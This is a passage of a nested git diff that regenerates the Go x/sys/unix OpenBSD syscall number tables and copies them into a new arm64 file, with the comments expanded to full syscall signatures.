-+ SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *mask); }
- SYS_SIGSUSPEND = 111 // { int sys_sigsuspend(int mask); }
-- SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { ssize_t sys_readv(int fd, \
-- SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, \
-+ SYS_SENDSYSLOG = 112 // { int sys_sendsyslog(const char *buf, size_t nbyte, int flags); }
-+ SYS_UNVEIL = 114 // { int sys_unveil(const char *path, const char *permissions); }
-+ SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, void *val, socklen_t *avalsize); }
-+ SYS_THRKILL = 119 // { int sys_thrkill(pid_t tid, int signum, void *tcb); }
-+ SYS_READV = 120 // { ssize_t sys_readv(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, const struct iovec *iovp, int iovcnt); }
- SYS_KILL = 122 // { int sys_kill(int pid, int signum); }
- SYS_FCHOWN = 123 // { int sys_fchown(int fd, uid_t uid, gid_t gid); }
- SYS_FCHMOD = 124 // { int sys_fchmod(int fd, mode_t mode); }
-@@ -125,89 +129,90 @@ const (
- SYS_RENAME = 128 // { int sys_rename(const char *from, const char *to); }
- SYS_FLOCK = 131 // { int sys_flock(int fd, int how); }
- SYS_MKFIFO = 132 // { int sys_mkfifo(const char *path, mode_t mode); }
-- SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, \
-+ SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, size_t len, int flags, const struct sockaddr *to, socklen_t tolen); }
- SYS_SHUTDOWN = 134 // { int sys_shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, \
-+ SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int sys_mkdir(const char *path, mode_t mode); }
- SYS_RMDIR = 137 // { int sys_rmdir(const char *path); }
-- SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, struct timeval *olddelta); }
-+ SYS_GETLOGIN_R = 141 // { int sys_getlogin_r(char *namebuf, u_int namelen); }
- SYS_SETSID = 147 // { int sys_setsid(void); }
-- SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, \
-+ SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, int uid, char *arg); }
- SYS_NFSSVC = 155 // { int sys_nfssvc(int flag, void *argp); }
- SYS_GETFH = 161 // { int sys_getfh(const char *fname, fhandle_t *fhp); }
- SYS_SYSARCH = 165 // { int sys_sysarch(int op, void *parms); }
-- SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, \
-- SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, \
-+ SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, size_t nbyte, int pad, off_t offset); }
-+ SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, size_t nbyte, int pad, off_t offset); }
- SYS_SETGID = 181 // { int sys_setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int sys_setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int sys_seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { long sys_pathconf(const char *path, int name); }
- SYS_FPATHCONF = 192 // { long sys_fpathconf(int fd, int name); }
- SYS_SWAPCTL = 193 // { int sys_swapctl(int cmd, const void *arg, int misc); }
-- SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, \
-- SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, \
-- SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, \
-- SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, \
-- SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, \
-+ SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, struct rlimit *rlp); }
-+ SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, const struct rlimit *rlp); }
-+ SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
-+ SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, int whence); }
-+ SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int sys_ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int sys___sysctl(const int *name, u_int namelen, \
-+ SYS_SYSCTL = 202 // { int sys_sysctl(const int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); }
- SYS_MLOCK = 203 // { int sys_mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int sys_munlock(const void *addr, size_t len); }
- SYS_GETPGID = 207 // { pid_t sys_getpgid(pid_t pid); }
-- SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, \
-+ SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, size_t len); }
- SYS_SEMGET = 221 // { int sys_semget(key_t key, int nsems, int semflg); }
- SYS_MSGGET = 225 // { int sys_msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, \
-+ SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, int shmflg); }
- SYS_SHMDT = 230 // { int sys_shmdt(const void *shmaddr); }
-- SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, \
-- SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, \
-+ SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, int inherit); }
-+ SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int sys_issetugid(void); }
- SYS_LCHOWN = 254 // { int sys_lchown(const char *path, uid_t uid, gid_t gid); }
- SYS_GETSID = 255 // { pid_t sys_getsid(pid_t pid); }
- SYS_MSYNC = 256 // { int sys_msync(void *addr, size_t len, int flags); }
- SYS_PIPE = 263 // { int sys_pipe(int *fdp); }
- SYS_FHOPEN = 264 // { int sys_fhopen(const fhandle_t *fhp, int flags); }
-- SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, \
-- SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, \
-+ SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
-+ SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
- SYS_KQUEUE = 269 // { int sys_kqueue(void); }
- SYS_MLOCKALL = 271 // { int sys_mlockall(int flags); }
- SYS_MUNLOCKALL = 272 // { int sys_munlockall(void); }
-- SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, \
-- SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, \
-- SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, \
-+ SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
- SYS_CLOSEFROM = 287 // { int sys_closefrom(int fd); }
-- SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, \
-+ SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, struct sigaltstack *oss); }
- SYS_SHMGET = 289 // { int sys_shmget(key_t key, size_t size, int shmflg); }
-- SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, \
-- SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, \
-- SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, \
-- SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, \
-- SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, struct stat *sb); }
-+ SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_SCHED_YIELD = 298 // { int sys_sched_yield(void); }
- SYS_GETTHRID = 299 // { pid_t sys_getthrid(void); }
-- SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, \
-+ SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, int n); }
- SYS___THREXIT = 302 // { void sys___threxit(pid_t *notdead); }
-- SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, \
-+ SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, siginfo_t *info, const struct timespec *timeout); }
- SYS___GETCWD = 304 // { int sys___getcwd(char *buf, size_t len); }
-- SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, \
-+ SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, int64_t *oldfreq); }
- SYS_SETRTABLE = 310 // { int sys_setrtable(int rtableid); }
- SYS_GETRTABLE = 311 // { int sys_getrtable(void); }
-- SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, \
-- SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, \
-- SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, \
-- SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, \
-- SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, \
-- SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, \
-- SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, \
-- SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, \
-- SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, \
-- SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, \
-- SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, \
-- SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, \
-+ SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, const char *path2, int flag); }
-+ SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, mode_t mode); }
-+ SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, ... mode_t mode); }
-+ SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, char *buf, size_t count); }
-+ SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, int tofd, const char *to); }
-+ SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, const char *link); }
-+ SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, int flag); }
- SYS___SET_TCB = 329 // { void sys___set_tcb(void *tcb); }
- SYS___GET_TCB = 330 // { void *sys___get_tcb(void); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go
-similarity index 67%
-copy from vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-copy to vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go
-index 32653e53..fe2b689b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksysnum_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build arm,openbsd
-+// +build arm64,openbsd
-
- package unix
-
-@@ -9,35 +9,35 @@ const (
- SYS_EXIT = 1 // { void sys_exit(int rval); }
- SYS_FORK = 2 // { int sys_fork(void); }
- SYS_READ = 3 // { ssize_t sys_read(int fd, void *buf, size_t nbyte); }
-- SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int sys_open(const char *path, \
-+ SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int sys_open(const char *path, int flags, ... mode_t mode); }
- SYS_CLOSE = 6 // { int sys_close(int fd); }
- SYS_GETENTROPY = 7 // { int sys_getentropy(void *buf, size_t nbyte); }
-- SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, \
-+ SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, size_t psize); }
- SYS_LINK = 9 // { int sys_link(const char *path, const char *link); }
- SYS_UNLINK = 10 // { int sys_unlink(const char *path); }
-- SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, \
-+ SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, int options, struct rusage *rusage); }
- SYS_CHDIR = 12 // { int sys_chdir(const char *path); }
- SYS_FCHDIR = 13 // { int sys_fchdir(int fd); }
-- SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, \
-+ SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, dev_t dev); }
- SYS_CHMOD = 15 // { int sys_chmod(const char *path, mode_t mode); }
-- SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, \
-+ SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, gid_t gid); }
- SYS_OBREAK = 17 // { int sys_obreak(char *nsize); } break
- SYS_GETDTABLECOUNT = 18 // { int sys_getdtablecount(void); }
-- SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, \
-+ SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, struct rusage *rusage); }
- SYS_GETPID = 20 // { pid_t sys_getpid(void); }
-- SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, \
-+ SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, int flags, void *data); }
- SYS_UNMOUNT = 22 // { int sys_unmount(const char *path, int flags); }
- SYS_SETUID = 23 // { int sys_setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t sys_getuid(void); }
- SYS_GETEUID = 25 // { uid_t sys_geteuid(void); }
-- SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, \
-- SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, \
-- SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, \
-- SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, \
-- SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, \
-- SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, \
-+ SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, const struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, socklen_t *anamelen); }
-+ SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
- SYS_ACCESS = 33 // { int sys_access(const char *path, int amode); }
- SYS_CHFLAGS = 34 // { int sys_chflags(const char *path, u_int flags); }
- SYS_FCHFLAGS = 35 // { int sys_fchflags(int fd, u_int flags); }
-@@ -46,77 +46,80 @@ const (
- SYS_GETPPID = 39 // { pid_t sys_getppid(void); }
- SYS_LSTAT = 40 // { int sys_lstat(const char *path, struct stat *ub); }
- SYS_DUP = 41 // { int sys_dup(int fd); }
-- SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, \
-+ SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, struct stat *buf, int flag); }
- SYS_GETEGID = 43 // { gid_t sys_getegid(void); }
-- SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, \
-- SYS_SIGACTION = 46 // { int sys_sigaction(int signum, \
-+ SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, u_long offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, int facs, pid_t pid); }
-+ SYS_SIGACTION = 46 // { int sys_sigaction(int signum, const struct sigaction *nsa, struct sigaction *osa); }
- SYS_GETGID = 47 // { gid_t sys_getgid(void); }
- SYS_SIGPROCMASK = 48 // { int sys_sigprocmask(int how, sigset_t mask); }
-- SYS_GETLOGIN = 49 // { int sys_getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int sys_setlogin(const char *namebuf); }
- SYS_ACCT = 51 // { int sys_acct(const char *path); }
- SYS_SIGPENDING = 52 // { int sys_sigpending(void); }
- SYS_FSTAT = 53 // { int sys_fstat(int fd, struct stat *sb); }
-- SYS_IOCTL = 54 // { int sys_ioctl(int fd, \
-+ SYS_IOCTL = 54 // { int sys_ioctl(int fd, u_long com, ... void *data); }
- SYS_REBOOT = 55 // { int sys_reboot(int opt); }
- SYS_REVOKE = 56 // { int sys_revoke(const char *path); }
-- SYS_SYMLINK = 57 // { int sys_symlink(const char *path, \
-- SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, \
-- SYS_EXECVE = 59 // { int sys_execve(const char *path, \
-+ SYS_SYMLINK = 57 // { int sys_symlink(const char *path, const char *link); }
-+ SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int sys_execve(const char *path, char * const *argp, char * const *envp); }
- SYS_UMASK = 60 // { mode_t sys_umask(mode_t newmask); }
- SYS_CHROOT = 61 // { int sys_chroot(const char *path); }
-- SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, \
-- SYS_STATFS = 63 // { int sys_statfs(const char *path, \
-+ SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, int flags); }
-+ SYS_STATFS = 63 // { int sys_statfs(const char *path, struct statfs *buf); }
- SYS_FSTATFS = 64 // { int sys_fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, \
-+ SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, struct statfs *buf); }
- SYS_VFORK = 66 // { int sys_vfork(void); }
-- SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, \
-- SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, \
-- SYS_SETITIMER = 69 // { int sys_setitimer(int which, \
-- SYS_GETITIMER = 70 // { int sys_getitimer(int which, \
-- SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, \
-- SYS_KEVENT = 72 // { int sys_kevent(int fd, \
-+ SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, const struct timezone *tzp); }
-+ SYS_SETITIMER = 69 // { int sys_setitimer(int which, const struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_GETITIMER = 70 // { int sys_getitimer(int which, struct itimerval *itv); }
-+ SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_KEVENT = 72 // { int sys_kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_MUNMAP = 73 // { int sys_munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, \
-- SYS_UTIMES = 76 // { int sys_utimes(const char *path, \
-- SYS_FUTIMES = 77 // { int sys_futimes(int fd, \
-- SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, \
-+ SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, int behav); }
-+ SYS_UTIMES = 76 // { int sys_utimes(const char *path, const struct timeval *tptr); }
-+ SYS_FUTIMES = 77 // { int sys_futimes(int fd, const struct timeval *tptr); }
-+ SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, const gid_t *gidset); }
- SYS_GETPGRP = 81 // { int sys_getpgrp(void); }
- SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, pid_t pgid); }
-- SYS_SENDSYSLOG = 83 // { int sys_sendsyslog(const void *buf, size_t nbyte); }
-- SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, \
-- SYS_FUTIMENS = 85 // { int sys_futimens(int fd, \
-- SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, \
-+ SYS_FUTEX = 83 // { int sys_futex(uint32_t *f, int op, int val, const struct timespec *timeout, uint32_t *g); }
-+ SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, const struct timespec *times, int flag); }
-+ SYS_FUTIMENS = 85 // { int sys_futimens(int fd, const struct timespec *times); }
-+ SYS_KBIND = 86 // { int sys_kbind(const struct __kbind *param, size_t psize, int64_t proc_cookie); }
-+ SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, struct timespec *tp); }
- SYS_DUP2 = 90 // { int sys_dup2(int from, int to); }
-- SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, \
-+ SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_FCNTL = 92 // { int sys_fcntl(int fd, int cmd, ... void *arg); }
-- SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, \
-- SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, \
-+ SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, socklen_t *anamelen, int flags); }
-+ SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, clockid_t clock_id, const struct timespec *tp, void *lock, const int *abort); }
- SYS_FSYNC = 95 // { int sys_fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int sys_setpriority(int which, id_t who, int prio); }
- SYS_SOCKET = 97 // { int sys_socket(int domain, int type, int protocol); }
-- SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, \
-+ SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, socklen_t namelen); }
- SYS_GETDENTS = 99 // { int sys_getdents(int fd, void *buf, size_t buflen); }
- SYS_GETPRIORITY = 100 // { int sys_getpriority(int which, id_t who); }
- SYS_PIPE2 = 101 // { int sys_pipe2(int *fdp, int flags); }
- SYS_DUP3 = 102 // { int sys_dup3(int from, int to, int flags); }
- SYS_SIGRETURN = 103 // { int sys_sigreturn(struct sigcontext *sigcntxp); }
-- SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, \
-- SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, \
-+ SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, socklen_t namelen); }
-+ SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, const void *val, socklen_t valsize); }
- SYS_LISTEN = 106 // { int sys_listen(int s, int backlog); }
-- SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, \
-- SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, \
-- SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, u_int flags, int atflags); }
-+ SYS_PLEDGE = 108 // { int sys_pledge(const char *promises, const char *execpromises); }
-+ SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *mask); }
-+ SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *mask); }
- SYS_SIGSUSPEND = 111 // { int sys_sigsuspend(int mask); }
-- SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { ssize_t sys_readv(int fd, \
-- SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, \
-+ SYS_SENDSYSLOG = 112 // { int sys_sendsyslog(const char *buf, size_t nbyte, int flags); }
-+ SYS_UNVEIL = 114 // { int sys_unveil(const char *path, const char *permissions); }
-+ SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, void *val, socklen_t *avalsize); }
-+ SYS_THRKILL = 119 // { int sys_thrkill(pid_t tid, int signum, void *tcb); }
-+ SYS_READV = 120 // { ssize_t sys_readv(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, const struct iovec *iovp, int iovcnt); }
- SYS_KILL = 122 // { int sys_kill(int pid, int signum); }
- SYS_FCHOWN = 123 // { int sys_fchown(int fd, uid_t uid, gid_t gid); }
- SYS_FCHMOD = 124 // { int sys_fchmod(int fd, mode_t mode); }
-@@ -125,89 +128,90 @@ const (
- SYS_RENAME = 128 // { int sys_rename(const char *from, const char *to); }
- SYS_FLOCK = 131 // { int sys_flock(int fd, int how); }
- SYS_MKFIFO = 132 // { int sys_mkfifo(const char *path, mode_t mode); }
-- SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, \
-+ SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, size_t len, int flags, const struct sockaddr *to, socklen_t tolen); }
- SYS_SHUTDOWN = 134 // { int sys_shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, \
-+ SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int sys_mkdir(const char *path, mode_t mode); }
- SYS_RMDIR = 137 // { int sys_rmdir(const char *path); }
-- SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, struct timeval *olddelta); }
-+ SYS_GETLOGIN_R = 141 // { int sys_getlogin_r(char *namebuf, u_int namelen); }
- SYS_SETSID = 147 // { int sys_setsid(void); }
